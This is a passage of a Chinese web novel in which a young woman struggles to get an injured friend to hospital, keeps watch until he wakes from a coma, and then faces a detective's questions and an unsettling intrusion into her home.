康静山身上有多处刀伤和钝器击打的伤口,秋原担心把他带到公路边会使伤口严重,但又担心那些人发现她不在了又会折回来,考虑之下还是试着抱起他。
秋原力气是比平常女孩子大些,康静山身材瘦削但他个子在,她抱起他走了没几步就险些跪倒在地。触手可及的公路,走走停停,花费了许久。时不时扑到在地上,每次都让手撑在康静山身下。
秋原跑到公路上,许久才有一辆车开过来,她用力挥舞着胳膊。
小型轿车慢慢减速,停在了路边。
不等车窗摇下来,近乎哀求道:“我朋友受伤了,能把我们送到医院吗?”
司机圆润脸庞上的小眼睛狐疑地审视着突然拦下他的怪人,秋原满怀期待地注视着他,下一秒司机踩稳油门走掉了。
秋原无助地看着消失在雨幕中的车,“我不是坏人!真不是坏人!”
她翻过护栏,滑下矮坡,查看康静山的情况,她唤他的名字,始终不见他醒来,他的气息很微弱,不知道能坚持到什么时候。
雨没有减小,空气中水汽浓重,她焦急地望着公路两个方向,远远地一辆半挂货车驶来,她赶忙爬上公路,站在路中间招手,半挂车没有减速从她身旁快速冲过去,溅起的水比她人还高。
紧跟着对面有一辆黑色轿车,她急切地招手,车停在她面前,她跑到驾驶座外,车窗只降了一条缝,是个女司机。
“我不是坏人不是坏人,我现在朋友受了伤需要去医院,帮我捎一程吧!拜托你了!”
女司机的长睫毛上下动了动,似在打量车门外的人。
秋原觉得有希望,“我可以给你路费,多少都行!给你清理车子,只求你送我朋友去医院!他现在情况很糟撑不了多久!”
不等她说完,女司机关上了车窗发动了车子,秋原拍打着车窗,“求你了我不会伤害你!只要送我们医院,去到市区里也行!”
秋原跪倒在地上,雨打在她身上,毫无知觉,雨声也消失在耳旁,什么都停止了……
刺耳的鸣笛声把她拉回现实,一辆面包车从身后驶来,她不死心地招手,车窗摇下露出驾驶座和副驾驶座上的两人,不等她说什么,俩男人盯着她不怀好意地笑了。
“怎么了小姑娘?有什么需要帮助的吗?”
她退后了两步,这才注意到雨水打湿了的衣服紧贴在身上,“我在等警察,刚电话里他们说马上就到。”
驾驶座上的男人呲了一声,大为扫兴地白了她一眼。
35.乔木兰花 07
等车开远了,秋原跑到康静山身旁,“静山!求你了,你醒醒!”
她脸上都是水,视线所及也都雾蒙蒙的,看着毫无反应的静山,她瘫坐在地上。
你不能死。
这是秋原脑海中唯一的信念,她逃到火车站时,她伤了黄昊军时,必须活下去的念头显得无比奢侈,苦苦挣扎的时候是他拉了她一把,所以她不能放手。想到这些,她抽出别在腰间的匕首,站起身爬上了公路。
一辆面包车,她抬着右手,车在她面前不远处停下,她走过去,看到副驾驶座上也坐着一个人,她迈出的步子迟疑了一下。
“这儿怎么有人?”
司机含糊着摇下车窗,“你什么回事?”
秋原已经恢复了冷静,“能送我和我朋友去最近的市区吗?我可以给你路费。”
“路费?”司机一听路费两字,似乎有了些许兴趣。
倒是副驾驶座上的男人拉住了他,“你朋友呢?”
“他在休息。”
那男人给司机使眼色,司机的手慢慢准备关车窗,秋原举起手中握着的刀,抵在司机的脖子上,“别动!”
司机惊吓得举起双手。
“你也举起来!你下车!”
秋原一步一步指使司机下了车,站在车头前,让副驾驶座上的人也下了车。
“找个绳子来!”
“没,车上没绳子!哎呀真没绳子!现在我上哪儿给你找绳子。”
“把你上衣脱下来!”
那男人面露难色,但看着秋原刀下的司机,还是乖乖照做了,男人脱下半袖。
秋原让司机转了个身,“手别在后面!你给他绑上!”
秋原紧盯着两人,但她看不到的是男人在司机手心点了几下。
“你去,把下面那个人抱过来!”
男人这才发现公路外还躺着个人,秋原盯着他抱着静山走到车边,他抬起头看了他们一眼。
在他开车门的同时,秋原制服着的男人用后脑勺撞了她的头,转身踹了她一脚。
秋原重重地摔倒在地上,司机虎视眈眈地站在她面前。
“走上车!”
“等我把刀抢过来好好收拾她!”
那男人上了车,“别管她了快走!”
司机不甘心地上了车。
“那女人不是好惹的快走!”
车子走了好久,秋原都没能从地上起来,雨水打在她脸上,她望向静山。
他就要死了,她救不了他。
她蜷缩起身体,失声痛哭。
一辆车慢慢停在视线中,秋原被水汽蒙住的双眼看不太清,本能地握着刀的手动了动,车门开了,有人走下来。
不论是谁,不论要付出什么样的代价,这次一定要成功。
撑着伞的男人蹲下身查看她的情况,“姑娘?你没事吧?”
秋原微睁着眼,任由他把她扶起来,“怎么样?能走路吗?”
她没有回答,而是趁他不备,把刀举到他脖子处,黑色的伞摔在了地上,无声。
隐约听得一声尖叫,副驾驶座的车门开了,“老公!”
男人抬起手安抚道,“没事没事你不要过来!你先回车上去!”
秋原并没有注意到,那个女人怀着身孕。
男人看了看她手里的刀,冷静地说:“姑娘,你不要冲动!有什么事好好说!我可以帮你。”
女人没有回到车上,反而越过车门走了几步,眼睛始终放在他们这儿。秋原这才注意到她的肚子很明显了。
她看了眼不肯回到车里,站在大雨中的孕妇,终于还是放下了刀,低着头强忍着泪水,快要爬在了地上,声音颤抖哀求着说:“能送我朋友去医院吗?他快死了……”
副驾驶座上的孕妇时不时回头望向后排座椅上的两人,“这里有水,没喝过的。”
孕妇递过来一瓶矿泉水。
“谢谢。”
沉默了片刻,她还是说出了口,“对不起。”
男人从后视镜看了她一眼,语调故作轻松地说:“没事不用在意,倒是你朋友,情况有点严重。”
秋原看着枕在腿上的静山,安静得像是艺术品,气息微弱得感觉下一秒就抓不住了。
她轻轻拨开落在脸颊上的碎发,轻抚他的脸庞,她感觉自己跌进了巨大的痛苦深渊,挣扎不得,摆脱不得。
“我想借用下你们的手机。”
男人把手机给了孕妇,女人微笑着递给她。
“谢谢。”
她拨通了店里的电话,只第二声就被接起,“喂哪位?”
“麦子,是我,秋原。”
“太好了终于有你们消息了,康哥呢?你找到他了吗?”
“他伤得很重,在医院路上,对了,请问这里最近的医院是叫什么名字?”
“平泽,仁安医院。”
秋原接着对电话那头讲,“平泽,仁安医院,你们快过来吧,我怕他们发现了我不在了……”
她看了眼孕妇,女人和善地笑了。
接下来的话没说出口,“你们尽快来。”
挂了电话,车里的气氛又安静了下来。
“他是你男朋友?”
秋原愣了一下,本想解释,但转念一想,这样也好,他们不会过多怀疑他们的身份,她没做声点点头,孕妇懂了她的意思。
她紧握着静山的手,生怕一不留神他就溜走了。
男人知道情况紧急,车子开得飞快,到了最近的市区,停在医院门口。男人嘱托女人不要动,下车帮秋原把静山抱到了医院。
医生护士们接手,秋原跟上去走了两步停了下来,“留一个联系方式吧,我身上没有钱,过几天我把路费清理费都送过去。”
“不用这么客气,赶快去看你朋友怎么样了。”
秋原感激地弯下腰鞠躬,转身跟了上去。
手术室外,秋原不安地来回走动,无力和疲倦都在慢慢苏醒,她瘫坐在墙根,软绵绵地倒了下去。
她太累太累了,身体不断下沉,五脏六腑都要被拉扯到地狱去。她从惊吓中醒来,这才发现自己躺在病床上,而此时的她连坐起来的气力都没有。
“和我一起来的那个人,怎么样了?”她小心翼翼地问道。
正收拾旁边病床的护士头都没抬一下,“走了。”
秋原感觉自己像是被钉在床上,一下子被掏空了肾脏,呆呆地望着天花板,那两个简短的字在她耳边回荡,他,他走了,他怎么能走了……
泪水从眼角滑下,一串一串,她终于忍不住了,胳膊蒙着眼嗷嚎大哭。
“怎么一醒来就哭?”
她放下胳膊,婆娑泪眼看到了耿山南,一下子更收不住了,侧身蜷缩在一起,抓着他的手不停地说:“对不起,对不起。”
“好了没事了,已经没事了,天都被你哭塌了。哪里还不舒服吗?我去叫医生。”
秋原胳膊眼睛嚎哭不止,摇摇头,“静山,静山他……”
“你想见他?现在还不行,他还没脱离危险,”
“你说什么?”秋原揪住他的衣角,“他没死?
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静山没死?”
耿山南拍了下她的的脑门,“说什么死不死的,多不吉利。”
她满是泪的脸愣是笑成一团,哭哭笑笑,不知道的还以为是精神失常了。
“我能看他吗?”
“他还在重症监护室,没办法探望。你好好休息,你身上的伤也不轻,喝水吗?还是想吃什么?”
“水。”
耿山南扶起秋原,让她喝了水。
“静山要是醒了,你记得叫我。”
他摸了摸她的头发,嘴角上扬微微点了点头,她这才疲倦地闭上了双眼。
康静山从重症监护室出来,秋原病房里的病友已经出院有几天了,所以安排静山同秋原一个病房,但他还没醒。秋原听得医生的话,要是七天里醒不过来,他们也没有办法了。
麦子窝在椅子里,焦躁得像是炸毛了的狮子。耿山南同样愁容满面,阴郁的气氛笼罩在每一个人脸上。
不知道康静山和余海当初谈的什么,难不成余海当真是要下狠手,但床上躺着的人什么都不会说,余海那儿更是无从得知。出于安全考虑,耿山南特意多带了几个人过来,在平泽到底不是须燕,真动起手来他们也并无十足胜算。
护士查房时,秋原在一旁静悄悄地,眼巴巴地看着,希望能听得什么好消息,但什么都没有。
“他晚上情况不太稳定,你们多注意点,有情况联系值班的医生。”
“知道了,谢谢。”
秋原隐约记得,康静山从来都不在床上睡觉的,躺椅,沙发还有地板都可以是他的床。
病房的门突然被推开,“静山呢?”
玫基看到病床上的康静山,脸上的神色缓和了些,“医生怎么说?”
“这几天他醒过来的话都好说。”
“那要是醒不来呢?”
“他会醒过来的。”
玫基是那种百分之百都要抓在自己手里的人,这话显然不是她想听到的,她从包里翻出手机。
“我给我哥打电话,让他找最好的医院最好的医生。”
耿山南按下了她的手,“这家医院水平可以信得过,我已经找了最好的医生来。”
“最好的医生就给我这样的结论?你有没有想过他要是真醒不过来怎么办?”
“玫基姐。”麦子在一旁搭话。
玫基闭上嘴稳稳情绪,她知耿山南会尽一切救静山。
“都是你!”玫基瞥到一旁无声的秋原,走到她面前抬手扇就是一巴掌,“要不是你静山怎么会出事?”
“玫基!”耿山南拉着她,不让她接近秋原,“你知道这不关秋原的事!”
“怎么跟她没关系?你别想骗我!自从她出现静山的变化你不是不知道,他要再这么下去下场怎么样你比我更清楚吧?上次救她得罪的人你不说我也能查到,这次是曹威他们几个联手余海,下次呢?他要是混不下去了,想让他死的人多了去了。”
“你先冷静。”
秋原看了眼康静山,他安静得像是睡着了,明明是关于他的纷争,他却置身事外,“我理解你的心情,没人想他受伤……”
“你别在这儿假惺惺,他要是醒不过来,我不会让你好过。”
“玫基!”耿山南本想再说什么,玫基怒气冲冲地走了。
“你别往心里去,玫基就是这样的人,她是真喜欢静山。”
秋原点点头表示理解,她的心情同样糟糕透了。要说有些人残了伤了走了都不会有人难过或是痛苦,可有些人不行,他们牵连着太多人的心。而她显然是前者。
36.乔木兰花 08
夜深了,大概是白日里睡得有些多,秋原这一睁眼便没有了丝毫的睡意,麦子躺在沙发上睡着了,椅子上的山南哥也打起了盹,窗户留了个缝,窗帘随着吹进来的微风飘荡。
秋原侧过头看旁边的康静山,她起身下了床,轻手轻脚地来到他床边,明明离他那么近,却有种再也见不到的绝望。
她握着他的右手,轻轻说道,“静山,雨停了,我们安全了,山南哥在,麦子也在,酒吧有陆川在照看,他也恢复了很多,你都不用担心,玫基也来看你了,你是不是很久没有好好睡一觉了?没关系有我们守着你,你就放心地睡吧,但是说好了,睡饱了一定要快快醒来,我们都等着你呢。”
她的声音很轻,像是睡梦中人的呓语,黑暗中泪水悄无声息地从眼眶落下。
“秋原?秋原?”
秋原迷糊中睁开眼,是山南哥,她这才发现自己在康静山床边睡着了。
“回床上睡吧。”
无声的等待对每个人都是煎熬,没有人说话,时间一分一秒地流逝,既希望时间快一点,又不想它走得那么快。
那之后的晚上,秋原都会到静山床边,握着他的手跟他说话,秋原不是话多的人,也不会聊天的人,东一句西一句拼凑起来。
第七日,每个人的神情都很严肃,医生摇摇头离开后,巨大的压迫感笼罩在每个人心头。
没有人说什么,大家都不约而同的保持沉默,闭口不谈不愿相信的结果。
等他们都睡了,秋原下了床,她抓着静山的手,什么话都说不出来,眼泪也静静流淌。她不是爱哭的人,这么多年她也早就不靠流泪宣泄了,但此时除了哭她什么都做不了。
静山就要死了的念头在她脑海中挥之不去,黑暗中这种恐惧被数倍放大,汹涌而至将她彻彻底底地包围住。她趴在胳膊上,眼泪弄湿了床单。
不知过了多久,大概是月亮边的云也静止住了,突然她感觉静山的手动了,那一瞬似乎发生在她的臆想之中,她抬起头看到静山的眼皮微微动了,她不自觉地握紧了他的手,终于静山睁开了眼睛,抬起手拭去她脸上的泪。
她激动得险些叫出声,静山的手指轻放在她唇上,声音弱得飘渺,“我还,有些困,让我多睡会儿。”
秋原一下子绷不住,泪水决堤般涌出,笑着点点头,轻俯在他耳边轻声说道,“那说好了,天一亮,我们就醒来。”
秋原一夜未眠,窗外的天蒙蒙亮,耿山南就醒了,他拍了拍她肩膀,想让她回床上休息。
“静山醒了。”
耿山南僵持了几秒,一动不动,他怕这句话是自己的幻听,一时间不敢相信。
“你刚,说什么?”
“他醒了。”
看到秋原脸上发自内心的笑容,他才逐渐接受这个消息,右手颤抖着伸向静山,他的手停在半空中,呆呆地注视着熟睡着的人儿。
“我去请医生。”
医生做了系统的检查,玫基得到消息赶来,前前后后了解情况,抓着医生不放问了很多。
检查的时候麦子自己一个人抱着腿在墙角哭了好久,等医生确认了情况确实是缓过来了,忍不住放声大哭,扑在静山身上怎么也不松手。
静山轻轻抚摸着他后背,揉揉他的头发,似有似无的笑容,神情更多的是沉静,声音格外沙哑,“没事了。”
玫基请了专业的看护,还在附近定了酒店,每天请人准备好不同的滋补食物带来,悉心照料静山。
“山南哥这里安全吗?我担心余海那些人不会这么轻易罢休。”秋原低声说道。
他看了眼静山,玫基正喂他喝汤。
“没事,玫基在这儿,她哥哥也回来了,他们不敢明目张胆的找事。”
秋原点了点头,望向静山,这几天他稍微恢复过来些,不过医生叮嘱还是要多加注意,麦子一天到晚围在静山窗前,此时也目不转睛地盯着他看。
秋原心里松了口气,失去静山的代价,他们都无法承受。
秋原在病床上辗转怎么也睡不着,侧躺望着窗户的方向,窗帘很有节奏地摆动,她轻手轻脚走了过去,把窗户关小了些。
回来后坐在静山床边,过去几天她都是这么过来的,胳膊撑着脑袋,呆呆地看着床上安静躺着的那个人。
“睡不着?”
秋原猛地坐直了身子,静山没有睁眼,只淡淡地说了这么一句。
她点点头,感觉不太对,低声“嗯”了一声。
静山没有接话,秋原感觉自己打扰到他休息,便起身回去。
“坐会儿吧。”
此刻的声音总感觉不那么真实,她轻轻坐下,伸出双手,他的手近在咫尺,可她却无法再握住。
他醒了,一切都将恢复原样。
她还是那个微不足道被遗弃的人。
“我从你那位朋友那儿听说过一些你的事。”
“章煦?”
“嗯,是他……你晚上一个人会害怕么?”
静山睁开细长的眼睛,夜色中他的眼眸很是明亮,他望向窗户,不知在看什么,夜色在他眼中似乎也凝固住了。
没等到他回答,秋原接着轻声说:“以前我挺喜欢晚上的,一个人静悄悄地待着,怎么样都可以,现在长大了不知道为什么,天黑了一个人会害怕,不知道黑乎乎的地方有什么,有坏人,有怪物。”说着语调里带有些轻笑。
静山的手轻放在她两只手上,依旧看着窗外无言。
秋原笑了,心里暖暖的,笑着笑着眼泪出来了,“我还没跟你说过谢谢,你救过我很多次……”
“别跟我说那句话。”
秋原那时并没有懂他为何这么说,等她明白了的时候,已经太晚了。
那一晚静悄悄的,黑夜浓得出水,月亮也歇了班,病房中他们两个醒着的人,只他们两个清醒着的人,没有言语,没有声音,他醒着她知道,她醒着他也知道,也只有他们彼此知道。
秋原去拿了点安眠药,回来时发现麦子在门口站着,把手心里的药不动声色地塞在了口袋里。
“你怎么在这儿?”
他示意了一下门里,透过小玻璃可以看到耿山南和玫基都在,不知在商量什么事,“哥哥他们有事情说。”
“不方便小孩子听是吧。”她没打算笑的,但这句话说出口不知怎么语调都变得轻快。
麦子瞪了她一眼,气鼓鼓地说:“谁小孩子,我都快成年了好吧。”
秋原附和着他意味深长地点点头,“嗯嗯嗯。”
麦子哼了一
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声气不过不理她了。
秋原站在了门的另一边,靠在墙上。
“静山和音乐,要是只能选一个的话,你选什么?”
她深知麦子有多喜欢音乐,就像溶于血中的习惯。当初他为了学音乐甚至抢劫了珠宝店,被人追了好久。
“当然是哥哥啊。”毫无犹豫的回答。
“有一天静山可能会离开,但音乐不会离你而去。”
“你在说什么?”
看他有些认真的思考,她感觉自己说多了话,“没什么,没什么,不要想了……”
希望他不需要面对那样的时刻。
夜深了,静山睁着眼静静望着窗外的天,昏暗中不知何处有光,微弱而缥缈,除此之外什么都没有。
楼道里有人在走动,偶尔传来几句人声。邻床的秋原突然说了几句含糊不清的梦话,焦灼地拍打被子。
静山艰难地挪到椅子上,摸了摸她的脸,“秋原?”
秋原猛然惊醒,紧抓着静山的手,急促地大口呼吸。
“做噩梦了?”
秋原蜷缩成一团,紧握着他的手不放。
静山另只手摸了摸她的额头,有些发热。
“你有点发烧,我让南哥给你拿些药。”
秋原拉着他的胳膊,“不用,不用,睡一觉就好了。”
静山给她盖好被子,没有抽走他的手,靠在床边静静地看着她。
“我梦见我在两层巨大的板子中间,它们逐渐靠近,我跑来跑去各个角落,撑在板子中间不让它们压在一起,可是没有用……”
“不用怕,我在这儿。”
秋原朦胧的泪眼久久地望着眼前的人,就像盯着稍纵即逝的流星,逐渐平复下心情,坠入了黑洞之中。
静山轻轻拭去她脸颊上的泪,多么乖巧的孩子啊。
在他没醒过来之前,意识不止一次地妥协,就这么睡下去,可以不用醒来,所有的事就都与他无关了。就在他放逐自己意识的时候,隐约听到软软的声音,像是春日的溪流,轻快而明媚,绵延不绝,竟让他徘徊了许久,想再多待一会儿。
那时的他,不记得他是谁,不记得他为何在此,没有任何形态存在着,没有肢体,没有心肺,但却无时无刻都能感觉到自己的存在,有一个节奏在跳动,一下,又一下,飘渺中的他跟着那个节奏,逐渐聚集。
还是回来了。
静山醒来一个多星期,状况基本稳定,便要求回去,耿山南和玫基自然是不同意,但又左右不了他的主意,询问了医生的建议,谨遵医嘱做了回去的准备。
回到酒吧,秋原才知道岳楼那天追踪余海的人时出了车祸,去医院时他母亲在照顾他。
岳楼拜托他母亲去打些水,病房里只剩他们两人。
“谢谢你啊,还特意来看我。我听说了康哥回来了,多亏了你啊。”
秋原摇了摇头,不知该怎么说。
“医生怎么说?”
岳楼笑得跟个没事人一样,头上缠的纱布都具有了喜感,“没什么大问题,休养几天就好了,川哥让我休息一个月,我都觉得用不了那么久。”
“伤到了头还是注意一下吧,别让阿姨担心你。”
岳楼点点头,笑得像个阳光的大男孩。
37.乔木兰花 09
转眼已有了夏天的意味,白昼在驱不散的余晖中拉长,人也逐渐舒展了开来,酒吧关门了一个多月,直到康静山回来,好生休养了一些时日,店里生意才重新开始,经过短暂的低沉后也渐渐回暖。
康静山在酒吧二楼养伤,章医生没等他回来就走了,秋原有些怅然,她还有些话想问他,这下可能永远无解了。那段时间她基本上每天都会过去一趟,帮忙照顾静山,山南哥每天亲自负责他的饮食,每天变着花样搭配营养给他补身子,麦子更是尾巴狗一样围在静山身边,怎么轰也哄不走,陆川自己有伤静山不许他来,玫基倒是来得多了。
后来陆川也不听话了,康静山耐不住这些人全围着他,直接让酒吧重新开门了。
这天秋原从更衣室出来,发现后门门口站着个人,穿着西装一本正经地一动不动,外面停着辆豪车,不像是玫基的车。
后门外侧有直通二楼的楼梯。
“有谁来了?”
“应该是玫基她哥哥。”岳楼压低声音说道。
“哦。”
秋原很多很多次听说过玫基的哥哥,甚至之前静山出事也牵涉到他,但还从来没有见过这个人。
秋原并没有意识到,自己在计划起如何迎接这个夏天。她还和姜海蓝相约逛街,买了些换季的衣服,穿衣品味着实让姜海蓝几番吐槽。两人还约好等暑假的时候一起去海边玩。
秋原已经很久没有想起以前的事了,死去的江黎,被收养的那几年,消失于一场大火的救助站,幻想回归的家,血口大盆的养父母,这些已经很久没出现她脑海中了。
回到住的地方,一番收拾之后借着安眠药的作用终于可以稳稳地睡上一觉,醒来后忙碌于收整房间,她甚至还添置了锅碗,有模有样地做起了饭菜,上班后她也不让自己闲下来,积聚的精力需要尽快地消耗殆尽,不然就要困顿于自我建立的囚笼之中了。
以前不是没受罪,但她觉得这是自己该受的,毫无逃避地迎难而上,可是近来发生了很多事,让她疲于应付,也对那些记忆产生了懈怠。她越走越远,就像任何平凡,普通的女孩子一样,鲜活而生动地生活着,离纷扰也越来越远。
七月盛夏姜海蓝放了暑假,除去其他朋友见面以及自己的时间,她和秋原的旅行放在了七月底。等到两人收拾好行李准备出发时,才发现一件严肃的事情,秋原没有身份证。
“之前,你就没有用到身份证的时候?”
“有过,那时候用这张糊弄过去了。”
姜海蓝看了眼桌上的身份证,姓名,秋原,但照片上的人显然不是她,而且也到期了。
“啊,真的,秋原你到底,哇真的是,你到底是怎样的存在啊。”
秋原抿着嘴两只手撑着下巴。
“哇真的是,真对你没办法,我们坐大巴车去。”
秋原笑着凑了过来。
“别别别,你突然这样我还不适应。你这张身份证从哪儿搞的?”
秋原坐回原位,神情闪过一丝复杂。
“我刚回来的时候,有一个阿姨帮了我,那是她女儿的身份证。”
“那她女儿呢?”
秋原想起那副面容,明明是狰狞吓人的,她却觉得无比亲切。
“她出了些事,烧成重伤捡了一条命,谁知道女儿也走了,她心灰意冷,没有活下去的想法,后来看到小孩子欺负流浪的狗狗,想起她女儿很喜欢小动物,经常照顾街上的流浪猫流浪狗,才有了后来的救助站。”
“那位阿姨真的是心善的人,她现在在哪儿?有时间我们一起去看看她。”
“她们一家团聚了。”
脑海中浮现救助站的大火,一条活生生的人命,许多许多富有灵气的动物,一并化为了灰烬,她听人说,老远就听到狗的惨叫声。
更何况人呢。
“就像你说的,”姜海蓝握住她的手,安慰道,“她们终于团聚了,不用再受苦了,她是解脱了。”
“解脱了”这几个字在秋原脑海中产生阵阵回音,她是解脱了,不知为何章煦的话浮现在她脑海中,静山亲手杀掉了他的父母,是让他们都得以解脱?那他自己呢?为何没随他们而去?
“想什么呢?”
秋原干笑一声。
“对了,学生证我好像放家里了,你跟我回去拿吧?”
“你真不回家住了?”
“反正学校也能住,住学校多好,想干嘛干嘛,也不用每天见我妈,省得她嫌我烦。”
说实话秋原并不能理解亲生母女之间为何有这么大的嫌隙,此时她也无法说什么安慰她,唯一能做的就是陪她回家。
打开门的一瞬间,秋原才真正见识到她们母女俩之间的隔阂,两人面面相觑,姜海蓝显然没想到此时薛澜筠在家。
比起姜海蓝,薛澜筠显然更对她身后的秋原更感兴趣,姜雪峰出事后,女儿再也没带过人来家里。
“妈?”看到薛澜筠盯着身后的人看,她解释道,“这我同学,我回来拿下东西。”
秋原紧跟着进了门,客客气气地问好,“阿姨您好。”
薛澜筠并没有应声,退了几步让开路。
“你先坐一下,我洗把脸去找下我放哪儿了。”
秋原点点头,小心翼翼地坐在了沙发上,姜海蓝去了卫生间。
“既然回来了,吃顿饭吧。”薛澜筠突然说。
卫生间门口的姜海蓝怔住了,抬头看着她母亲,有点不太相信她说的话,又看了眼秋原,“我们约好了出去,改天再说。”
薛澜筠不死心地看向秋原,看得她心里发毛,“我没关系的。”
“家里有现成的菜,我去准备。”说完不由分说地钻进了厨房。
秋原似乎听到了海蓝叹了口气。
“秋原,我回来的时候带钥匙了吗?”姜海蓝在卧室里翻腾着。
与此同时,厨房传来哐当一声。
“我记得你放包里了。”
“包里没找着啊,我再看下……”
“阿姨,我来帮你吧。”秋原看到一旁的青菜,“这些菜是要择的吧。”
薛澜筠不自然地笑了笑,一下一下慢慢切着案板上的肉,“你叫秋原?”
“嗯是的。”话虽这么说,她想起刚才海蓝叫自己名字时,那一声意外的响声,感觉不自在。
“你是海蓝同学?”
“我,我们是朋友。”秋原看着手里的菜,心里不踏实,说话也磕绊起来。
没听到声音,秋原抬起头,心下一沉险些没站稳。薛澜筠手里握着切肉的刀,盯着她看,脸上什么表情都没有。
“阿,阿姨?”
两人僵持着,姜海蓝从卧室出来,“我还以为掉路上了呢……秋原?妈?你们……”
秋原得救般看了眼海蓝,匆忙逃离了厨房,“我,我先回去了。”
“怎么了?妈你是在做什么?”
秋原越过她快步走了,不知为何她感觉到了巨大的恐惧,此时唯一能做的就是快速离开。
薛澜筠没说话,似乎看不到,也听不到,默默把刀放在案板上。
“不可理喻,既然你当我是空气,那我就消失好了。”说完拿上沙发上的包出门。
姜海蓝追上了秋原,“抱歉啊我妈吓到你了吧,她这人总是这样疯疯癫癫的,根本看不懂她在想什么。”
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“没事儿,可能她听说过我名字吧。”
姜海蓝愣了一下,才明白是关于姜雪峰的事,“你别在意,看你脸色不太好,我们先去那边坐一会儿吧。”
秋原摇摇头表示拒绝,“我想回去休息了。”
姜海蓝看着她走远的背景,焦躁感在心里灼烧。
那之后,两人都再也没提起去看海的约定。好像从没有计划过一样。
江岩出现在眼前时,秋原并没有意外,那件案子不了结,这个坎他们两谁也过不去,他始终会找上自己的,就像自己永远摆脱不了过去。两人坐在咖啡店里,不同于周围任何一种关系,气氛一时间格外微妙。
过了半响,江岩才开口。
“康静山这个人你知道吧?”
两人四目相对,可秋原捉摸不透他为何问这个问题。她想,泄露任何有关静山的事情,至少不能经由她的嘴,而在挖人心口的功夫上,她向来是毫无知觉出其不意,“江黎的案子不查了?”
秋原看得出他脸上细微的变化,大概是极度的克制,才保持着现有的风度,无视她的问题,紧接着说起这个人。
“这个人九岁的时候杀了他的父母,关在未成年犯管教所里,三年后被人带了出来,之后就很少有这人的消息,据调查,他现在是橘子酒吧实际负责人。”
秋原想挪开视线,但理智告诉她不能这么做,直勾勾地看着对面的人,近乎有些发愣,“你想说什么?”
“你在酒吧工作,关于这个人你知道些什么?”
秋原机械地摇了摇头,即便已经听过了一遍,但此时胃里还是忍不住一阵反酸。
江岩意味深长地看着她,故不作声。
“我说了我不知道。”秋原突然升高的语调引来众人的围观,她环顾了一眼周围的人,无措地顺了顺头发,低下头低声说:“你想说什么?”
“这个人认识吗?
秋原看了眼桌上的照片,一个眉清目秀的男生,大概二十多岁。
“不认识。”
“他叫周星耀,对这个名字你熟悉吗?”
“周星耀?没听过。”
“你在橘子酒吧没见过这个人?”
听到橘子酒吧,秋原不免有些惊讶,虽说她记忆力说不上多好,但至少名字和样貌至少有些印象,但眼前的人像,还有这个名字,她一点印象都没有。
“在酒吧,我也没见过。这个人是谁?”
江岩看来,这几个问题她倒不像是装作不知,“嘉海听过吗?”
秋原的心脏一颤,一时间说不出话来,嘉海……
“他是嘉海的现任董事长。”
“他……跟酒吧有什么关系?”
江岩有些搞不懂眼前的人,是他们做事太过隐秘,还是这人太粗枝大叶,在橘子酒吧这么长时间,什么异常都没有发现吗。
“我现在怀疑,他跟康静山之前存在着某种交易。”
“什么意思?”
“有几个案子我怀疑有问题,调查后发现他们都有一个共同点。”
“周星耀?”
“准确来说,是康静山。不过,既然你不知道,接下来的事你也就不必知道了,要是你想起什么,或是想好了说什么,随时来找我。”
对面的人不知走了有多久,她一个人坐在熙攘的街道旁,人流,欢声笑语,似乎都与她毫无关系,他说的那些话在她脑海中发出巨大的震荡,一时之间难以分清出想象与现实。
康静山和周星耀之间存在着交易,而周星耀是嘉海的老板,嘉海是……
她驱散了脑海中的异想天开,在实际确认前,她不会对康静山有任何怀疑。
38.未来没有未来 01
接连几天回家的路上,秋原都感觉身后有人跟着,但特意留意时又发现空无一人,难不成又是江岩?但已经打了照面,照理说不会再做这种事了。小心起见她特意绕了远路,辗转回到了住的地方,关上门反锁上,一颗悬着的新这才放松下来,她摸到了开关,把灯打开,室内一片狼藉,她感觉脑子一下子嗡嗡作响,她仔细搜寻,门是锁好的,窗户也爬不上来,究竟是什么人竟然趁她不在的时候轻而易举地进到了房间里。
本就没什么贵重物件,她细细看过倒觉得像是恶作剧一般,费了很大的心神这才把杂物物归原位,收拾好天已破晓,她灭了灯,屋内昏暗得令人恍惚,她躺在地板上,感觉着自己的心跳,跳得格外沉重,不知何时,昏昏沉沉地入了睡。
事过几天,都再无异常,但这件事始终悬在心口,到底是什么人。
这天上午,敲门声把秋原从昏睡中惊醒,她拖着疲惫的身子挪到门口,嗓子干干的,“谁?”
“我啊,你还没起啊?”
是房东,转念一想,是该交房租了。
她折回床上,从床铺下摸出前几天就备好的钱。
“给。”
房东是个矮矮胖胖的女人,脸圆圆的,一看就是享受的命,她转着滴溜溜的圆眼睛,数着手里的钞票,嘴里还念叨着,“看不出来啊,你哥长得挺好的,看着也像有钱人,你怎么会住我这儿?”
“我哥?”
“对啊,说好不容易找到你了,你没见着啊?你哥还随身带着你们的照片,这年头可真少见,不对啊,这都多少天前的事了。”
“什么照片?”
“你们的合照啊,你们那房子也真是不错,一看就是有钱的大户人家。”
“你给他开门了?”
女人点点头,“对啊,我总不能让你哥在大街上等吧,不是我说啊,现在的人啊,生点气连家都不回了,跑这地方受罪来了,真是搞不懂,还有啊,你要是突然不租了,押金我可是不退的啊。”
说完,把数好的钱卷起来塞在布袋子里。
关上门,秋原颤抖着蹲坐在地上,慌乱地环顾房间。
是他。
他找来了。
“秋原?”
“啊?”
“你怎么了?看你魂不守舍的,发生什么事了?”
“没事,没事。”秋原退了一步,撞到了凳子,弯下身扶住了凳子,“没事,没事。”
“她怎么了?”
麦子装模作样叼着根烟,跳上了高凳。
“不知道。”
“女人就是麻烦。”
耿山南把他嘴里的烟抽出来,“烟也不行。”
麦子嘟嘟嘴,满脸的不情愿,趴在桌子上仰天长叹,“啊什么时候能成年啊!”
看他这样,耿山南也忍不住笑了,“再过几年你就不这么想了。”
“秋原,陆川今天晚点来,你去三相街那家店买些静山常吃的蛋糕,给钱你拿上。”
“好。”
“你一个人没问题吧?让麦子陪你一起?”
“不用,我没问题的,就是这两天没休息好。”说着挤出勉强的笑容。
秋原曾和静山去过那家店,是家不大的店,但生意好像还不错。推开店门碰到了挂着的风铃,一眼就看到收银台前的齐刘海女孩,脸红扑扑的,经常来店里帮爸爸妈妈做些事。
齐刘海女孩的眼睛亮闪闪的,声音也很甜,“您好,欢迎光临!”
秋原抬抬嘴角以示回应,她挑了些静山喜欢吃的蛋糕,放到了收银台上。
齐刘海女孩看了看蛋糕,又看了看女孩,利落地把蛋糕装进分装袋子里。
收了找零,秋原拿上蛋糕往回走。
身后的风铃声又想起,“嗨!”
秋原停下了脚步,转过身看到了女孩,脸蛋红扑扑的。
